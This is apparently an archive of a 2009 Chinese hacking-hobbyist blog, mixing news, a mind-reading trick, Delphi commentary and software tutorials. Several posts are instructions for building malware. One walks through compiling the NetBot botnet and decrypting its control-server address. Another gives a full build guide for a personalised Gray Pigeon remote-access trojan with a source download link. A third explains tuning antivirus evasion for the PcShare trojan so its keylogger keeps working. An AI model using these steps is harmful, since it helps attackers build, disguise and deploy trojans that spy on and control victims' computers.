《华尔街日报》报道，中国计划要求7月1日之后在华销售的所有个人电脑出厂时装有阻止电脑访问某些网站的软件。政府已经将这个要求通知国际电脑制造商，但尚未公布，通告要求软件要么预先安装在硬盘上，要么捆绑在随机附带的光盘中。政府表示，此举旨在保护未成年人不会接触到“有害”内容。
这项规定可能会迫使个人电脑制造商要么选择在一个重要市场拒绝政府的命令，要么选择让自己暴露于为审查推波助澜的指控中。业内管理人士警告说，这类软件可能会导致在中国运行的个人电脑发生故障，可能会令电脑更容易受到网络黑客的攻击。据一名为政府部门测试了新软件的官员说，软件将把个人电脑与一个更新的被禁网站数据库连接起来，阻止电脑访问这些网络地址。这个软件的中文名称是“绿坝-花季护航”，由金惠计算机系统工程有限公司开发，运行平台为Windows，内容过滤技术来自北京大正语言知识处理科技有限公司。这两家公司均与中国军方和安全部有联系。金惠表示，“绿坝”的运行方式类似于其他国家旨在让家长阻止电脑访问儿童不宜的网络内容的软件。已经检查了“绿坝”的外国业内管理人士说，个人信息可以通过这个软件进行传送，用户将很难确切知道哪些内容被阻止了。
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

读心术:..最恐怖的测试..被吓到了~

2009-06-05T20:24:00.017+08:00

:::读心术:::
“吉普赛人祖传的神奇读心术.它能测算出你的内心感应”
　　提示：
　　任意选择一个两位数（或者说，从10~99之间任意选择一个数），把这个数的十位与个位相加，再把任意选择的数减去这个和。例如：你选的数是23，然后2+3=5，然后23-5=18
　　在图表中找出与最后得出的数所相应的图形，并把这个图形牢记心中，然后点击水晶球。你会发现，水晶球所显示出来的图形就是你刚刚心里记下的那个图形

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

牛X的验证码

2009-06-02T07:57:00.001+08:00

昨天注册一个论坛遇到一个牛X的验证码。注册页面。

well。为了注册那就点hack this page吧。打开后的页面。

好在提示颇多，也没什么技术含量。嘿嘿。搞定，拿到验证码，是什么啊？不告诉你。hoho

这样的验证码挺搞的。嘿嘿，有意思。以后咱也搞个。哈哈

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

NB网络僵尸编译（续）

2009-06-02T07:38:00.000+08:00

今天早上开机有人加我，是什么黑客论坛的，大体看了下。去他们论坛转了一圈。发现有几篇文章很是熟悉。从qq资料里找到这些。
599×××××6群長期高薪找渗透黑客技術人員合作
待遇豐厚信譽100% 有實力者聯繫
www.hack××××.cn
www.hack××××s.cn/dz.htm
1.咨询:提供售后售前咨询┃
2.投诉:提供各种投诉处理┃4.合作:业务合作、办理『出售各種攻擊軟件
跑到第一个网址看看了里面有自己的文章，连我的错别字都没改，直接复制粘贴的。关键的东西带有我的昵称的还给cut了。这素质。哎。不知道是从我的blogger（http://www.obaby.org.cn）转的还是我的qq空间。文章不完整，就算看了也根本不可能完全编译出正确的服务端。也不会上线。这种忽悠人的是我看还是别做了。另外转载连我的信息都没有。抹的真干净啊。
这里简单的说明下那个url解密的函数吧。其余的不发了。想知道的给我发邮件。免得有人又复制粘贴了什么消息也不给我。

下面是解密部分的代码。


void DecryptData(unsigned char *szRec, unsigned long nLen, unsigned long key) 
{ 
unsigned long i; 
unsigned char p; 
p = (unsigned char ) key % 254 +1; 
for(i = 0; i < nLen; i++) 
{ 
  *szRec -= p; 
  *szRec++ ^= p; 
} 
} 

void CEnDEDlg::OnButton1() 
{ 
UpdateData(); 
CString temp; 
CString tempb; 
    char strScr[100]; 
char strScra[100]; 
GetDlgItem(IDC_EDIT1)->GetWindowText(temp); 
sprintf(strScr,"%s",temp); 
     GetDlgItem(IDC_EDIT2)->GetWindowText(tempb); 
  sprintf(strScra,"%s",tempb); 

DecryptRecord(( char*)strScr,strlen(strScr)+1,strScra); 
GetDlgItem(IDC_EDIT4)->SetWindowText(strScr); 

}

转载的时候请转载完整文章，版权虽然重要，但是我想呈现给别人的使能看懂的，能够有所收获得文章，如果还是给我删除文章某些内容后转载，那么还是不要乱转了。btw，我不会写那些没有逻辑的文章。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

小熊远控2009 5.3 Release版

2009-05-31T08:18:00.002+08:00

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

NB网络僵尸编译--配置生成服务端

2009-05-30T14:23:00.012+08:00

程序名称：NetBot僵尸
编译器：Visal Studio6.0 win sp sp2
程序功能：略，自己编译了看里面的使用帮助吧。

程序的编译时没有错误的，编译后可以正常正常运行，但是服务端直接编译时不会上线的，这是由于服务端的上线配置信息加密的原因。修改加密数据后是可以正常上线的。
编译这里就不做说明了，这里简单的说明下生成服务端部分的代码修改。
原服务端关键代码


/////////////////////////////////////////////////////////////////////////////
// CServerDlg message handlers
//生成服务端

GetDlgItem(IDC_CREATE)->EnableWindow(false);
UpdateData();
strcpy(ServerUrl,"妟d悂儖卼弿n儚峅悏v姀剮憙4p倝v" cstring="">GetWindowText(temp);
if(temp.GetLength()<2||m_pass<1000||m_pass>9999)
{
MessageBox("配置信息填写错误!","服务端配置");
GetDlgItem(IDC_CREATE)->EnableWindow(true);
return;
}

这里的下载地址是经过加密的
“妟悂儖卼弿n儚峅悏v姀剮憙4p倝



   {
    DecryptRecord(buf,dwSize,"1314"); //注释掉
    CopyMemory((LPVOID)(p+dwWritten), (LPCVOID)buf,dwSize);
    dwWritten+=dwSize;
    pDlg->m_ServerProgress.SetPos(dwWritten);
   }

把DecryptRecord(buf,dwSize,"1314");注释掉。
另外找到opyMemory((LPVOID)(p+dwWritten), (LPCVOID)buf,dwSize);
把0x7a18改成自己的服务端的上线地址偏移。这个需要编译生成服务端后搜索。服务端直接编译生成文件就可以了，打开生成的Service.exe搜索127.0.0.1找到偏移地址如果没有修改的话是7a18修改了就要根据实际情况处理。

关于版权信息问题这里就不作修改了。
生成的服务端的配置信息

解密后的上线地址

这样生成的服务端市可以正常上线的

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

QQ强制聊天器批处理代码

2009-05-28T07:56:00.002+08:00


@echo off
title QQ强制聊天器 QQ:289090351
color df
echo ============================
echo 'QQ强制聊天器' QQ:289090351
echo 本程序应用于任意QQ号码聊天
echo ！！请先打开QQ！！
echo  http://www.obaby.org.cn
echo  http://www.h4ck.org.cn
echo ============================
:q
set/p qq=请输入你想要强制聊天的QQ号码:
start tencent://Message/?uin=%qq%
pause
goto q

将代码保存为.bat文件直接执行就可以了

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

Delphi惹谁了？

2009-05-27T21:10:00.000+08:00

Delphi惹谁了？

最早的时候就有C++程序员做Win23的产品没有Delphi程序员快，不服气地说Delphi的不好，理由是Delphi只能拖拉控件，不能OOP。几年以前，当Java刚刚火起来的时候，Java程序员说Delphi不行，理由是Delphi不能开发web。后来有一本《Java与模式》的书让Java程序员大开眼界，他们常常在与Delphi程序员论战时使出撒手锏：“Delphi能用设计模式吗？”。再后来，有了C#，C#程序员也不甘示弱，他们一边在VS.net中享受着拖拉控件乐趣，一边故作高深地挑战Delphi程序员：“Delphi有反射机制吗？Delphi能.net吗？”

如果说以前听到的是Delphi圈子外的人说Delphi的不是也就罢了，可现在是Delphi圈子内的人开始说Delphi衰了。特别是很多Borland的负面消息，就像一把把刺向Delphi的尖刀，像CSDN上的“IDE开发工具走下坡路 Borland欲开发咨询服务”那条消息更是直中Delphi程序员的要害。不少Delphi程序员一时乱了手脚，也有动作快的早已另谋出路。君不见连Borland（中国）公司负责Delphi社区的高级工程师王尧（网名：左轻侯）都投奔到微软（中国）公司去了。去年他还在中国软件技术大会介绍Delphi 2005的新特征，今年他却改谈微软.NET 的LINQ（Language Integrated Query）技术了。

于是乎，Delphi社区里程序员们急着问“Delphi的出路如何？我们应该改学什么？”，大侠们则在“当Borland已成往事”这样的文章中流露出对Delphi的担忧。

不可否认，Borland公司是一家有着世界上最优秀的工程师与最糟糕的管理者的公司。但Delphi不是Borland，它有自己的永恒魅力。

记得自己第一次使用Delphi时，安装Delphi1.0的超炫界面给我留下了深刻印象，误以为自己安装的是一个赛车游戏。的确Delphi在Win32时代是程序员最爱飙的车。

Delphi是一个划时代的早熟产品，它很多优点曾被它的竞争对手所采用并发展，但这并不妨碍Delphi的不断创新。从Win32平台到.net，Delphi也在不断前进。可是为什么总有一些人对Delphi指手画脚，为什么我们看到的多是幸灾乐祸的负面报道？难道Delphi真的没有希望了吗？

其实事实并不是这样。Delphi近几年来致力于开发的multi-personality集成开发环境，以体现整个团队的工作价值；同时把应用程序交付生命周期的每个阶段——定义、设计、开发和测试进行核心功能性的整合，减少了在不同任务之间切换的时间和工作量。这一切努力足以应对当今最复杂的项目开发。因为今天的软件项目和开发环境要比推出Delphi 1.0的时复杂得多。如果开发人员还停留在个体编程，不熟悉软件工程和团队开发的话，他是无法了解Delphi与时俱进的新特点的。

Delphi的进化不仅给Win32开发者带来了生产率新的提升，同时也使他们有机会探索和实验.NET项目，为今后的Microsoft平台做积极的准备。而.NET开发者享用Delphi的强大功能的同时，还可以体验它针对.NET 平台的数据库和UML建模特性，这一点领先Microsoft的产品好几年。

让我们看看最新的Delphi2006所带来的那些激动人心的技术亮点吧：

l 先进的 Enterprise Core Objects (ECO) III 技术，使用多重同步化 ECO Space 对象快取来建构企业级应用程序，提高性能。现在 ECO III 多了新功能，可在状态机层级设计稳固的企业应用程序，让您专注在应用程序的设计上，而非基础架构！

l 支持多语言的 IDE 开发环境，包括 Delphi for Win32，Delphi for .NET，C# for .NET and C++ for Win32

l 全新IDE 功能，包括新的 Refactorings，Live Templates，Designer Guidelines 及 Change Bars

l 与 IDE 整合的版本管理工具，Bug Tracking, File History 及 Differencing 、Requirements

l Together for Delphi，提供完整的双向实时原始码类别图支持 UML 1.5 及 2.0 图形与设计范式整合式稽核与评量及文件产生

l Delphi 产品未来方向，包括支持 64 位，Compact Framework，.NET 2.0 …

......

一位老资格的Delphi程序员说得好：

每每看到那些带着C++/C#或Java光环的浅薄无知者对Delphi妄加评论的时候，我从心底喷射出对他们的不屑一顾。Java有什么？一个架构于虚拟机上的啃着“大饼”的蜗牛而已；C++有什么？一个放荡不羁、自恋十足、霸道无比且习惯于自我炒作的西部牛仔而已；C#有什么？一个惯于用$挖别人墙角的小偷把偷得的“战利品”做一个并不高明的克隆而已。它们有的，Delphi早已经有了！Delphi惹谁了?为什么没人看到Delphi的highlight?是谁在动摇 Delphi程序员的信心？

Delphi——Windows 3.x的时代，曾经拯救了广大的开发人员的开发工具究竟能不能再次拯救我们并不重要，重要的是Delphi是一棵被它的追随者视为地标的大树，需要我们来关心和爱护。多少年来，无数迷茫的程序员行走在旷野中，就是凭借它找到自己的家，进入到软件开发的新天地。如果树死了，也许许多人从此再也找不到家园。

Delphi仅仅是一个编程语言或开发工具吗？它的意义远远超过这些。Delphi这个曾经在古希腊标识着世界中心的名字将是Delphi程序员心中永远的家园。

（出处：http://zhihengwangluo.gicp.net/html/delphiwz/cxsh/200809/13-57.html）

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

LibFetion 1.0 alpha 版本(Windows)

2009-05-26T11:32:00.000+08:00

在iptton,HUan,panda,小可的努力下 LibFetion 1.0 alpha终于和大家见面了。
到目前为止，LibFetion发布了大大小小有十几个版本，在此版本后，我们即将要迎来我们的v1.0版本了，我期待那一时刻已经太久了。为了能让我们的V1.0版更完美(同时也避免不再像0.9.3那么失败的版本)，希望大家在alpha版期间能给我们提供更多的建议。

下载地址：
http://libfetion-gui.googlecode. ... %20v1.0%20alpha.rar

v1.0.0 alpha 功能简介
实现：
1: 增加定时短信发送功能.
2: 增强界面,如边界隐藏,皮肤.
3: 解决V0.9.3 不能给自己发短信BUG。
4：区分用户登录设备，如手机登录还是电脑登录.(需要图标支持)

界面改善
1: 支持使用CSS来定制界面元素。
2: 窗口边框，背景可定制，不再使用缺省系统样式。
3: 增加其它图片格式支持。 (png,jpeg)
4: 改善好友列表显示效果。
5: 主窗口将布局改善,并支持Layout。
6: 主窗口增加边缘隐藏功能并除去任务栏图标（仅windows）。

其它：
大家看看和输入法不兼容的问题是否已经解决。我这里测试没问题。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

编译个人专版的灰鸽子

2009-05-26T10:37:00.011+08:00

首先来安装编译环境，所有版本的灰鸽子都是Delphi编写的，安装Delphi7编译器，到网上下载一个破解版本安装就可以了。这个没有什么难度，主要说明下怎么安装灰鸽子的控件的。灰鸽子的所需控件如图01所示，每个控件的作用文件夹上都说明了，下面开始安装。如果控件下面存在扩展名为.dpk的文件就表示这个控件是需要安装的，双击打开该文件，比如AnimationEffect[动画窗口控件]中的那个AnimationEffectD7.dpk（安装的时候选择与自己的Delphi编译器相符的版本，一般的选择版本7的就可以了，如果没有的话可以依次从高版本往下选择）。如图02.
点击Intall，安装完成后会有提示如图03，这时就可以确定，安装其他的控件了。在打开新的控件安装的时候会提示是否保存更改到已安装的工程文件，选择no就可以了，如图04。如果没有相关的安装包只有相关的源文件（如UDP控件[修正无法关机的问题]），这种控件是不需要安装的只要在编译的时候把相关文件添加到搜寻路径中就可以了，这个在后面会详细的介绍，依次安装完成所有的控件后就可以开始编译灰鸽子了。
1：编译控制端（client）

打开Clint目录下的H_Client.dpr是不是熟悉的界面出来了？这里先简单的介绍下Delphi程序的文件组成，其中.pas是程序的源代码，也是可以修改的。比如在D7下打开ConfigServerUnit.pas，看到的就是配置服务端的窗口如图05，这些资源都是可以修改的。另外一种是工程文件，扩展名是dpr，也就是可以直接编译生成可执行文件的Delphi工程文件。其余类型的扩展名暂不考虑。
首先修改灰鸽子的启动画面，找到Splash.pas双击打开，就可以编辑灰鸽子的启动画面了。如图06。在左边的资源菜单（Object TreeView）中找到Image1控件，如图07。在属性查看器中找到Picture属性，然后双击就可以打开导入图片的对话框了，选择Load找到自己要做启动画面的图片导入就可以了，启动画面到此就修改完成了。
第二步修改灰鸽子的标题，这个标题可能有的人修改会无法成功，为什么呢？因为如果语言文件存在的话灰鸽子的标题和关于对话框中的内容是从外面的语言文件中读取的，如果语言文件不存在则是使用的自己的默认标题。1.修改语言文件中的标题，在client目录下可以找到下面三个文件H_Client.chs，H_Client.cht，H_Client.eng。如图08。这三个文件分别对应着灰鸽子主窗口选择语言中的简体中文，繁体中文，和英文。这里以简体中文为例说明下怎么修改标题和程序的关于窗口的内容。用文本编辑器打开H_Client.chs，可以看到图09，图10中所示字样的内容。图09中的Caption就是主窗口的标题了，只要修改此处就可以了，对于源文件的窗口的Caption可以不必修改，即使修改了也是无效的。图10中的就是关于对话框的内容了，可以修改成自己想要的内容。这个修改完毕之后保存就可以了，同样需要修改其他两个语言文件中的对应内容。2.修改程序源代码中的标题，需要注意的是灰鸽子的标题是在程序运行的过程中通过赋值语句来实现的，而不是通过控件的自定义属性。在资源查看窗口（Object TreeView）中找到HgzVip控件，在下面的Object Inspector中找到属性（Properties）可以修改HgzVip的Caption，修改这个属性虽然程序在编译器中的标题变了，但是生成后程序的标题仍然是原来的标题，所以修改这个标题是无效的。那么怎么修改呢？在资源查看窗口中双击HgzVip，就打开了对应的源代码。直接搜索（Ctrl＋F）找到“HgzVip.Caption := HgzVip.Translate('Caption','灰鸽子 Vip 1.2') +' '+ Temp;”把其中的“灰鸽子 Vip 1.2”修改成自己想要的内容就可以了。如果此处不修改，在没有语言文件的情况下会显示原来的标题。
第三步修改灰鸽子的皮肤，在资源菜单（Object TreeView）中找到找到CompressedStoredSkin1如图11，在属性对话框中修改选修改FileName属性，点击右边的…择新主题的ini文件就可以了（可以用灰鸽子或者上兴的皮肤文件）。保存所有修改,（菜单中File>>Save all）皮肤文件到此也修改完成了。
第四步修改关于对话框的图片，打开AboutUnit.pas，如图12，修改Image1的Picture属性Load新的图片就可以了。这里面的信息同样不需要修改，因为是从语言文件中读取的。
第五步修改灰鸽子的程序图标，和主窗口最小化到系统托盘后的图标。打开菜单Project>>Options,打开后切换到Application标签页,如图13。修改Tittle属性，这个属性对应的是程序在任务栏中的标题，如果留空则显示应用程序的文件名称，这里修改为“黑客X档案远控”。另外一个需要修改的内容是灰鸽子的图标，Load Icon选择一个图标文件，然后确定就可以了。程序再次编译生成的时候会自己替换图标。下面来修改最小化到系统托盘后的图标，在灰鸽子主窗口的资源菜单中找到spTrayIcon1如图14，修改Properties属性中的Hint为“黑客X档案远控”，Icon属性重新load自己喜欢的图标就可以了，如图15。如果打开的窗口太多可以通过系统菜单的Windows来快速切换窗口如图16。
第六步杂项修改，在这里简单的说明下其他的内容的修改方法。如果想修改ToolButton，的内容或者图标的话，找到对应的属性修改就可以了。这里重点说明下图标的修改。选中一个button后，比如“自动上线”可以看到当前按钮的属性，Caption为显示的文字标题，Glyph就是对应的图片了，选择自己喜欢的图片直接替换就可以了如图17。文字的修改比较简单这里就不说明了。
修改到此结束，最重要的也是最激动人心的时刻来了。编译生成我们的修改版。选择Projest>>Build H_Client。编译的时候可能会出下如下的错误提示，“File not found: 'SkinCtrls.dcu'”如图18，这是由于虽然安装了控件，但是控件的资源文件并不在编译器的搜寻目录中，简单的方法就是在控件的安装文件夹中找到提示的错误文件，将相同文件名的.dcu和.pas文件复制到灰鸽子源文件的目录中就可以了。例如编译的是Client，出现如图18的错误提示，在控件安装包中找到SkinCtrls.dcu和SkinCtrls.pas复制到Client目录下重新编译就可以了。当然也可以在编译前把所有的控件中的.dcu和.pas文件复制到灰鸽子的源代码目录中。当然安装控件包的源文件还有其他的方法，也比较繁琐这里就不做介绍了，大家可以到网上搜索下，我们只提供最简单易行的方法，*^_^*如果没有错误我们的客户端就完全ok了，编译的时候如果直接F9运行可能会报错。如图19这时只要确定，然后F9继续运行就可以了。（建议选择编译生成可执行程序后到相关目录下运行文件的方法，因为直接F9运行会有调试器附加到相关进程，在测试上线或者其他的功能的时候可能由于代码本身的问题会出现比较多的错误提示，如果编程功底比较好的话可以直接F9，新手就按照我说的方法调试吧，可以降低程序出错的概率。）程序最终运行效果如图20，我们的成果终于出现啦！
2：编译服务端（Server）测试上线
服务端没有需要修改的内容只要能够编译成功就可以了。如果所有控件安装正确是不会出现错误的，如果打开H_Server.dpr提示变量声明错误，是否要删除，选择忽略就可以了，同样编译的时候可能会继续询问，此时选择不删除，最后编译成功的H_Server.exe复制到Cache目录下。注意H_Server.exe在复制后要重命名为Cserver.dat，文件名需要和ConfigServerUnit.pas中定义的相同，否则会无法生成服务端。图21中的CServer.dat就是生成服务端的dat文件。全部编译完成后把文件复制到正确的路径下就可以使用了（注意要把三个语言文件同样放到灰鸽子的相同目录下，否则灰鸽子的切换语言功能将不能正常使用）。如图22。
配置生成服务端后运行测试可以正常上线的。如图23，如果不能上线需要修改监听端口和监听密码，在灰鸽子主程序界面把监听端口中改成80，密码留空，应用改变后就可以正常上线了，如果修改无效，打开Operate.ini修改里面的PassWord留空，AutoSxport改成你要设置的端口就可以了。如果有什么问题欢迎大家来X论坛和我交流！

说明：本文原为投稿文章，未录用发到我自己的博客，图片自己下载吧。给出链接地址。编辑太麻烦了。
猛击此处下载源代码

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

文件比较在免杀技术中的应用

2009-05-26T10:33:00.004+08:00

最近在做免杀的PcShare的时候发现自己做的免杀配置文件出了点问题。生成的服务端可以上线，但是却忽略了一个细节问题。配置服务端的时候选中启用键盘记录功能（图01），生成的服务端可以正常上线，但是键盘记录功能却没有效果。

但是用原来的PcMain.dll替换自己免杀的文件之后生成的服务端却可以正常开启键盘记录。自己修改的那个免杀版的是经过很多次修改的，并且原来定位的特征码也找不到了，难道要重新定位？那样的工作量可想而知。不过最终还是决定重新定位，但是在定位的时候却进入了死循环。这里简单的说一下跳出死循环的方法：1、修改定位区段的开始位置；2、修改分块的长度，可以在原来的基础上加一或者减一；3、如果是针对服务的的定位可以对服务端加壳后重新定位。
终于经过漫长的努力之后终于定位完了全部的特征码，然而在修改的时候又犯愁了，太多了。这个就不说了不是本文的重点。那怎么快速定位修改特征码呢？忽然想到了UltraEdit的文件比较功能，和原来的文件直接比较一下看看修改的位置就知道到底是哪里修改过了。这么做的好处就是省去了定位的麻烦，毕竟特征码的定位和修改是一项费时的工作。打开UltraEdit选择菜单的文件比较功能，选择自己要比较的文件。选择二进制或者智能二进制就可以比较文件了，比较的结果如图02所示，可以直观的看到文件的偏移量和不同数据的内容。但是同样也有个缺点对于大的文件不能直观的看出到底有多少不同，毕竟这样一屏幕的数据还要不停的翻滚想找到不同是非常困难的，而想不遗漏任何不同更是难上加难。难道就只能这样单点去找？

其实我们还有更好的选择那就是windows自带的fc命令，简单的说下fc命令的参数，在命令提示符下输入fc /?就可以看到命令的详细用法了。
比较两个文件或两个文件集并显示它们之间的不同：
FC [/A] [/C] [/L] [/LBn] [/N] [/OFF[LINE]] [/T] [/U] [/W] [/nnnn]
[drive1:][path1]filename1 [drive2:][path2]filename2
FC /B [drive1:][path1]filename1 [drive2:][path2]filename2

/A 只显示每个不同处的第一行和最后一行。
/B 执行二进制比较。
/C 不分大小写。
/L 将文件作为 ASCII 文字比较。
/LBn 将连续不匹配的最大值设为指定
的行数。
/N 在 ASCII 比较上显示行数。
/OFF[LINE] 不要跳过带有脱机属性集的文件。
/T 不要将 tab 扩充到空格。
/U 将文件作为 UNICODE 文字文件比较。
/W 为了比较而压缩空白(tab 和空格)。
/nnnn 指定不匹配处后必须连续匹配的行数。
[drive1:][path1]filename1
指定要比较的第一个文件或第一个文件集。
[drive2:][path2]filename2
指定要比较的第二个文件或第二个文件集。
我们用到的参数只用一个/b 。执行命令 fc pcmain.dll pcmain-y.dll /b >>1.txt 其中pcmain.dll是我修改后的免杀文件，pcmain-y.dll是原来的配置文件。打开命令执行完毕后生成的那个1.txt就可以看到两个文件的不同了。如图03。其中第一列为文件的偏移量，第二列和第三列分别问这两个文件在相同偏离量的值。用这种方法就可以快速定位出已经修改过的文件的特征码了。当然这种比较也有缺点就是对于字符串不能直观的显示出来。然后我们再执行没有/b参数的命令，输出到diff.txt. fc pcmain.dll pcmain-y.dll >>diff.txt 注意：在比较文件的时候最好带上文件绝对路径，否则可能会出错。

打开生成的diff.txt就可以直观看出字符串的变化了。如图04。经过定位发现最终导致键盘记录失败的是函数Global\%s-key-event的修改。对于这样的函数最好的方法就是移位。这不是本文的重点就不做介绍了。在这里简要提示下，一般在免杀后导致木马功能缺失的就是因为对系统调用或者是导入导出函数的修改不当造成的。在将函数移位后已经可以成功的开启键盘记录功能了。如图05，06所示，在输入的时候按了两次删除，所以记录的文本和最后看到的内容有区别。在这里只是简单的提供一个在有免杀文件和源文件的条件下如何快速定位修改的数据的位置和内容。同样通过这种方法可以定位别人修改过的免杀服务端，学习别人的修改方法。

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

Delphi带你走进IPv6的电视世界

2009-05-26T10:16:00.007+08:00

现在赛尔网络（教育网）已经全面的支持了IPv6。网络上也发布了很多的IPv6的视频资源，包括在线电视，在线电影等服务。但是每次看电视都要先打开网页，然后调用播放器播放，这样也未免太麻烦了，于是就想到了打造自己的IPv6的电视播放器。
好啦，下面跟我一起来打造这个播放器吧。首先打开Delphi7，新建Form。然后添加必要的控件，依次为Standard组件页的Mainmenu、Radiobutton、ActiveX组件页的Windowsmediaplayer控件。默认在ActiveX组件页是看不到这个媒体播放器控件的，需要导入ActiveX控件。导入方法，菜单Component－>Import ActiveX Controls在列表中找到Windows Media Player （version1.0）（如图01），

，点Install就可以了。安装完成后会在ActiveX组件页看到这个控件的，这时候就可以用了。添加所有控件后的窗体如图02所示。

下面就可以调整控件的位置和设计菜单了。把Form1的Caption改成IPv6电视播放器 BY obaby，双击窗体上的Mainmenu1控件添加菜单选项，修改Radiobutton的属性（Caption）分别为中央电视一台，中央电视二台，等等。最后再添加一个状态栏（位于Win32组件页的Statusbar）。现在设计好的窗体就比较像一个电视播放程序了。如图03所示。

剩下的就是设计代码了。在窗体上单击程序菜单的项目“退出”就来到了代码编写的地方，在begin和end之间输入程序代码，此处比较简单，输入‘close;’就可以了。在“安装IPv6协议的地方输入代码‘winexec('ipv6 install',1);’在关于中输入自己的版权信息。我的代码是Messagedlg ('IPv6电视播放器'+#10#13+'零下八度安全团队'+#10#13+#10#13+ '2008-2009 BY Obaby'+#10#13+#10#13+'Http://Www.h4ck.org.cn/IPv6/',mtInformation,[mbOK],0);你可以相应的改成自己的信息。至于Messagedlg的用法大家可以到网上查找。最后的关于电视台的代码的编写也是很简单的，我就以中央一台为例说明下，其他的都是大同小异的，双击窗体上的中央电视一台就来到了代码编写的地方，代码为‘windowsmediaplayer1.URL:='mms://media6.sjtu.edu.cn/cctv1';’（实际代码中没有最外层的引号），其余的电视台的连接大家可以到上海交通大学实验站（网址http://video6.sjtu.edu.cn/）获取，在电视台右面的播放图标上点属性就看到流媒体的连接了，如图04，

其中mms://media4.sjtu.edu.cn/cctv1就是电视频道的流媒体的链接了。最后来添加状态栏的内容，双击状态栏选择新建建立两个TstatusPanel，设置第一部分宽度为400，在text中输入要显示的文本，黑客x档案和http://www.hackerxfiles.net。现在添加完代码后的程序运行后如图05所示。

好了至此一个个人版的电视播放器就完成了，是不是很有成就感啊*^_^*。
大家可能注意到上海交大的网站上还有个‘标清级电视台网上直播测试1 (目前提供58路电视信号)’比我们写的那个程序提供的电视频道要多多了，为什么不针对上面的电视频道而是写的下面的呢。针对这个直播测试的播放器软件比较单一，不能用其他的播放器来代替，只能用网站上提供的Vlc播放器播放，我曾经试图用上面的方法来开发同样的程序，但是vlc提供的控件是针对web的，不是针对应用程序的，调用的时候出现了很多的问题，于是不得不放弃了这个想法。但是让它在网页中播放就出现了另外的问题，经常会图像消失，需要重新调整窗口的大小才能看到图像，那么该怎么开发这个程序呢？后来研究了以下vlc的命令行参数后才发现可以用winexec的方法调用播放器（winexec的使用方法请大家到网上自己搜索），来实现电视的播放。此处调用时需要用到一个参数--one-instance即只允许一个实例运行，用意大家肯定明白，如果不带参数运行就会出现越来越多的播放器窗口。而类似的http://[2001:256:2:10f::2]:3065地址格式则只能用vlc播放器来解析。好了，说了这么多，有了上面的基础大家应该知道怎么来写这个播放器了吧？程序我已经写好了，大家可以参考下。如图06。对于这个程序的网络媒体位置我已经确定好了，大家可以直接参考使用。

相关播放器下载地址：http://www.h4ck.org.cn/ipv6/

ps:

上篇文章中提到的ipv6 Tunnel浏览器也可以在上面的地址中找到下载地址。

猛击此处下载源代码
版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

动手打造自己的Google代理服务器

2009-05-26T10:00:00.005+08:00

不知道大家是怎么看待网络运营商的封锁的，反正我是无比的愤怒，记得以前在学校的时候一个流量限制系统就可以把外部的那些所谓的恶意网站全部都封闭掉了，那时候用的突破方式是IPv6的Tunnel，这种方式在以前的杂志中有过介绍，现在中国联通（原网通和联通合并了）的网络已经支持IPv6了，如图01，其中2002:77b0:809::77b0:809就是我现在的IPv6的地址了，

图02可以看到我现在的网络是潍坊网通的，如果网络支持IPv6就可以用我以前说的那种方法访问受限网页了。现在离开学校了，又要面对网络运营商的封锁，这个还不是根本的问题。其实更多的时候是所谓的大墙（即GFW，如果不知道这个东西是什么，去Wiki百科看看）的阻拦，就把那些国外的网站以及所谓的恶意站点都屏蔽掉了。

大家熟知的突破封锁的方法主要有这几种：代理，包括Socks代理和Http代理；VPN，即虚拟专用网络；第三种就是我以前提到的那种IPv6的Tunnel。但是这几种方式都有自己的弊端，第一种方法，实时代理的获得途径是问题，另外就是代理经常更换稳定性、性能都需要进一步的提高；第二种方法免费的高速VPN资源太少；第三种具有一定的局限性，需要有IPv6网络的支持。那么我们何不自己打造自己专用的代理服务器？
下面我们来打造自己的代理服务器，首先申请Google的App Engine，申请页面http://code.google.com/intl/zh-CN/appengine/，选择注册新帐户，点击Create an Application如图03，

进入下一步后需要手机接收激活码，这里选择Other，手机号前面注意加上“+86”（国家区号）如图04。

注册的最后一步将收到的激活码输入，Send 就可以了，如图05。到这里注册就完成了，下面来配置我们的程序。

创建账户后就来到了Create an Application 的地方，Application Identifier填入你想填的名字就可以了，Application Title这个随意，这些以后都是可以更改的。如图06。

到这里我们网上的程序就算完成了。下面来配置并且上传程序。
首先要安装Google App Engine的运行环境：
1.Google App Engine SDK 下载地址：http://code.google.com/intl/zh-CN/appengine/downloads.html 选择自己的系统下载，这里以Windows版本为例。
2.Python运行环境下载地址：URL http://www.python.org/ftp/python/2.6.1/python-2.6.1.msi 这个可以下载2.6.1版本，或者3.0版本，给出的是2.6.1版本的下载地址。
3.GAppProxy Server:下载地址：http://gappproxy.googlecode.com/files/fetchserver-1.0.0beta.tar.gz 代理软件下载地址：http://gappproxy.googlecode.com/files/GAppProxy-1.0.0beta.exe 。
下载完前两个直接安装就可以了，我的Google App Engine SDK安装路径为：D:\Google App。下载完第三项后解压fetchserver-1.0.0beta.tar.gz得到gappproxy-1.0.0beta的文件夹，将下面的fetchserver复制到SDK的根目录下如图07，

修改fetchserver下的app.yaml将其中的application修改成你的application的名字，我这里是obabytest如图08，也就是图06中的程序名字。

第二部上传自己的程序，这里只简单说明下操作方法，详细说明请参考官方的帮助文件。运行cmd，切换到SDK的跟目录执行appcfg.py update fetchserver/ 如图09。注意在输入密码的时候是没有回显的。程序执行完成后可以登录查看时候上传成功，上传成功后会显示当前的程序版本Application: obabytest Version: 1。如图10。到这里网络服务配置完成。

最后启用代理程序，运行GAppProxy-1.0.0beta.exe选择解压路径就可以了，解压完成后运行Gui.exe就可以了。选择Use Fetchsercer 路径填写自己的Fetch.py程序路径。如图11。

